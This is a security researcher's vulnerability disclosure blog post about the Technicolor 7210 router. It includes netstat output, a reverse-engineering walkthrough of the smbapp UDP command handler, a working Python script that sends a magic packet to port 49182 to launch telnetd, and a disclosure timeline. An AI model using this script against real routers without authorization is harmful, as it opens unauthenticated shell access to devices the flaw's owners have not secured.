Frontdoor to the Technicolor 7210

Frontdoor to the Technicolor 7210

In a previous article, I explained how to get root on the embedded Linux part of the Technicolor 7210 router by leveraging a remote code execution (RCE). This article on the other hand, will explain how one can leverage a “frontdoor” to gain the same level of access.

 This blog post was originally written in 23 of June, 2018. The vulnerability disclosed in this blog post, as far as I know is yet to be fixed. I haven’t requested a CVE, neither am I aware if Technicolor did so. Disclosure timeline can be found at the end of the blog post.

Control Mechanism

The TC7210 has two operative systems (OS), the eCos real-time OS, and a Linux based embedded OS. The eCos OS is responsible for managing all network functionalities as well as the Network Attached Storage (NAS) functionalities provided by the Linux OS.

For that to happen, the eCos OS needs to be able to communicate with the Linux OS. As discussed in the previous article, the smbapp is the application responsible for managing the NAS functionality. A good indicator of how the application is receiving commands from the eCos OS is the fact that it listens on port 49182 (UDP).

 1#!/bin/bash
 2netstat -nlp
 3# Active Internet connections (only servers)
 4# Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
 5# tcp        0      0 192.168.178.10:4321     0.0.0.0:*               LISTEN      556/bcmmserver
 6# tcp        0      0 192.168.178.10:2468     0.0.0.0:*               LISTEN      556/bcmmserver
 7# tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      2601/smbd
 8# tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      316/portmap
 9# tcp        0      0 192.168.178.10:80       0.0.0.0:*               LISTEN      556/bcmmserver
10# tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      2601/smbd
11# tcp        0      0 :::23                   :::*                    LISTEN      2596/telnetd
12# udp        0      0 192.168.178.10:137      0.0.0.0:*                           2649/nmbd
13# udp        0      0 0.0.0.0:137             0.0.0.0:*                           2649/nmbd
14# udp        0      0 192.168.178.10:138      0.0.0.0:*                           2649/nmbd
15# udp        0      0 0.0.0.0:138             0.0.0.0:*                           2649/nmbd
16# udp        0      0 0.0.0.0:49181           0.0.0.0:*                           386/mscapp
17# udp        0      0 0.0.0.0:49182           0.0.0.0:*                           328/smbapp
18# udp        0      0 0.0.0.0:1900            0.0.0.0:*                           556/bcmmserver
19# udp        0      0 0.0.0.0:111             0.0.0.0:*                           316/portmap
20# Active UNIX domain sockets (only servers)
21# Proto RefCnt Flags       Type       State         I-Node PID/Program name    Path

By revisiting the string analysis performed previously it was possible to find other interesting strings in the smbapp application that indicated some sort of functionality to manage a Telnet server. The strings are: smbapp: Launching telnetd. and smbapp: Killing telnetd. It is possible to confirm this by loading smbapp in a disassembler and searching for references to those strings.

Telnetd control
Starting and stopping the Telnet daemon.

The code above is contained in a function called executeCommand which is called from a loop where the UDP packets to port 49182 are received.

Receiving the UDP packets.
Receiving the UDP packets.

Flow and Packets

The next step is to understand what is the format of the packet that needs to be sent to the smbapp in order to start the Telnet daemon. The executeCommand function is quite complex and has an awful amount of branching. As such it is easier to backtrack the flow of code execution taking into consideration all the branching that would lead to the Telnet daemon being launched.

Flow of execution needed to control the Telnet daemon.
Flow of execution needed to control the Telnet daemon.

From the flow of execution depicted above, we can see that the first word of the packet that needs to be sent is 0x107, the following word doesn’t really matter, and the last double word should be 0x00000001.

Exploitation

With this information, the next step was to hack up a script that would send the right bytes to the listening socket of the smbapp.

 1import socket
 2
 3ADDRESS = '<IP address of the NAS>'
 4PORT = 49182
 5PACKET = bytes([
 6    0x01, 0x07, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x01
 7])
 8
 9sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
10sock.sendto(PACKET, (ADDRESS, PORT))
11
12line, server = sock.recvfrom(128)
13
14print(line)
 The script needs to be executed with Python 3.

Using the script against the NAS functionality of the router, we get an awesome Telnet prompt. Further to the above, it is also possible to control an HTTP server (that exposes some CGI scripts), and whether the Linux OS responds to pings.

Success!
Outcomes of the execution of the script.

Hope this has been interesting and insightful!

Disclosure Timeline

  • 2018-06-24: First reported issues to Technicolor
  • 2018-06-24: Technicolor’s security team acknowledged receipt of the report
  • 2018-07-10: Asked for an update
  • 2018-09-06: Asked for an update
  • 2018-09-07: Technicolor’s security theme acknowledged the vulnerability and let me know that they’re in the process of fixing it
  • 2018-09-07: Informed Technicolor’s security team that I will continue to withhold disclosure and suggested a possible fix for this flaw and for a newly discovered way to exploit a previously reported RCE
  • 2018-10-08: Let Technicolor team know I had published the post on how I reversed engineer the firmware, asked if a CVE had been assigned and reminded that the 90 [sic] day grace period will end on October 24th
  • 2018-10-24: Released details through this blog post (120 days after reporting it)